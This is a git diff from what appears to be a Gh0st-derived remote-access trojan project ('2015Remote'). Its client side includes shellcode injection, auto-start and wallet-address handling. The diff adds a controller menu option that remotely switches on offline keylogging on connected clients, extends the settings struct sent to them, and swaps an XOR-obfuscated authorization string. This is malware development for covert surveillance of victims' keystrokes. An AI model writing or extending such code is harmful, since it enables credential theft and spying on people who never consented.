diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index ab8e052..4ff1d0f 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -17,6 +17,7 @@
 #include "IOCPKCPClient.h"
 #include "auto_start.h"
 #include "ShellcodeInj.h"
+#include "KeyboardManager.h"
 
 // UDP 协议仅能针对小包数据，且数据没有时序关联
 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect)
@@ -584,14 +585,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         }
         break;
     case CMD_MASTERSETTING:
-        if (ulLength > sizeof(MasterSettings)) {
-            memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
+        if (ulLength > MasterSettingsOldSize) {
+            memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
             iniFile cfg(CLIENT_PATH);
             cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
             CManager* pMgr = (CManager*)m_hKeyboard->user;
             if (pMgr) {
                 pMgr->UpdateWallet(m_settings.WalletAddress);
             }
+            if (m_settings.EnableKBLogger && m_hKeyboard) {
+                CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
+                mgr->m_bIsOfflineRecord = TRUE;
+            }
         }
         break;
     case COMMAND_KEYBOARD: { //键盘记录
diff --git a/common/commands.h b/common/commands.h
index 2d488e5..4adbfdb 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -879,8 +879,12 @@ typedef struct MasterSettings {
     int			DetectSoftware;				// �������
     int			UsingFRPProxy;				// �Ƿ�ʹ��FRP����
     char		WalletAddress[472];			// Wallets
+    int         EnableKBLogger;             // Since 2025-11-27
+    char        Reserved[496];              // Since 2025-11-27
 } MasterSettings;
 
+#define MasterSettingsOldSize 500
+
 #pragma pack(push, 1)
 // 100�ֽ�: �������� + ��С + ���÷�ʽ + DLL����
 typedef struct DllExecuteInfo {
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 32ddc08..5721352 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index a9b5683..a556a16 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -534,6 +534,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
         ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
         ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
+        ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
         END_MESSAGE_MAP()
 
 
@@ -1058,8 +1059,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     const Validation* v = GetValidation();
     if (!(strlen(v->Admin) && v->Port > 0)) {
         // IMPORTANT: For authorization only.
+        // NO NOT CHANGE: The program may not work if following code changed.
         PrintableXORCipher cipher;
-        char buf1[] = { "ld{ll{dc`{geb" }, buf2[] = {"b`af"};
+        char buf1[] = { "? &!x1:x<!{<6 " }, buf2[] = { 'a','a','f',0 };
         cipher.process(buf1, strlen(buf1));
         cipher.process(buf2, strlen(buf2));
         static Validation test(99999, buf1, atoi(buf2));
@@ -1122,6 +1124,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
     auto w = THIS_CFG.GetStr("settings", "wallet", "");
     memcpy(m_settings.WalletAddress, w.c_str(), w.length());
+    m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
+	CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
+    SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
     std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
     std::string str = myMap[n];
     LVCOLUMN lvColumn;
@@ -3913,3 +3918,13 @@ LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) {
         MessageBoxA(CString("没有反黑屏插件: ") + path.c_str(), "提示", MB_ICONINFORMATION);
     return S_OK;
 }
+
+
+void CMy2015RemoteDlg::OnParamKblogger()
+{
+    m_settings.EnableKBLogger = !m_settings.EnableKBLogger;
+	CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
+	SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
+    THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger);
+    SendMasterSettings(nullptr);
+}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 7018775..dceb9e8 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -357,4 +357,5 @@ public:
     afx_msg void OnShellcodeTestAesBin();
     afx_msg void OnToolReloadPlugins();
     afx_msg void OnShellcodeAesCArray();
+    afx_msg void OnParamKblogger();
 };
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.user b/server/2015Remote/2015Remote_vs2015.vcxproj.user
index 40b2c40..d211272 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.user
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.user
@@ -3,6 +3,7 @@
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
     <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
+    <LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
@@ -15,6 +16,7 @@
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
     <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
+    <LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
   </PropertyGroup>
   <PropertyGroup>
     <RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 058b576..eec8465 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ